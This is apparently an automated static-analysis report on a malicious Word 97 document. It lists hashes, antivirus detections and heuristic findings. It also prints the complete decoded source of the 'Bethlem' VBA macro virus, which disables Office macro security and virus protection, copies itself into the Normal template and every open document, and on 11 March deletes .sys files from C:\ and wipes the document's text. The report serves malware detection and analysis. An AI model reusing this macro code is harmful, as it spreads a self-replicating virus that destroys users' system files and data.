Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78176f5b6652a672…

MALICIOUS

Office (OLE)

3.12 MB Created: 1999-02-03 01:17:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-28
MD5: b294022c06707d2f7647335088e4c7a3 SHA-1: 86e05c62a3d3985602239b3139605271e2f5253b SHA-256: 78176f5b6652a6724b70c60a3c32267e9999177c15d84663b210ccc658f5131b
270 Risk Score

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
           .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ulpgc.es In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3958 bytes
SHA-256: c2f0efba372d2f0ee611f5abbb70cdbc77cdf6a6118cf1d5fe62d867f76cb29b
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
    On Error Resume Next
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
       CommandBars("Macro").Controls("Security...").Enabled = False
       System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
       CommandBars("Tools").Controls("Macro").Enabled = False
       'I know that you see the code!!!!!
       'Bethlem loves you
       Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1):
       Options.CheckSpellingAsYouType = (1 - 1): Options.CheckGrammarWithSpelling = (1 - 1):
       ActiveDocument.ShowGrammaticalErrors = (1 - 1): ActiveDocument.ShowSpellingErrors = (1 - 1):
       ActiveDocument.SpellingChecked = True
    End If
'    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bethlem?") = "...by PPC"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
       .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
       .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
       .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
       .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
          .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
       End If
       If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
          Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
          .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
          .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
          .VBComponents.Item(1).CodeModule.CountOfLines)
       End If
    Next k
    If (Day(Now) = 11) And (Month(Now) = 3) Then
       MsgBox "Happy Birthday"
       File = Dir("c:\*.sys", 6)
       For BA = 1 To 10
          SetAttr "c:\" & File, vbNormal
          File = Dir
          If File = "" Then BA = 10
       Next BA
       Set fs = Application.FileSearch
       With fs
          .LookIn = "C:\"
          .FileName = "*.sys"
          .FileType = msoFileTypeAllFiles
          If .Execute(SortBy:=msoSortByFileName, _
             SortOrder:=msoSortOrderAscending) > 0 Then
             BC = .FoundFiles.Count
             File = Dir("c:\*.sys")
             For B = 1 To BC
                SetAttr "c:\" & File, vbNormal
                Kill ("c:\" & File)
                File = Dir
             Next B
          End If
       End With
       Set myRange = ActiveDocument.Range(Start:=0, End:=Selection.End)
       For Each xWord In myRange.Words
          xWord.Delete
          ActiveDocument.UndoClear
       Next xWord
    'Microsoft thanks for the examples are very useful
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub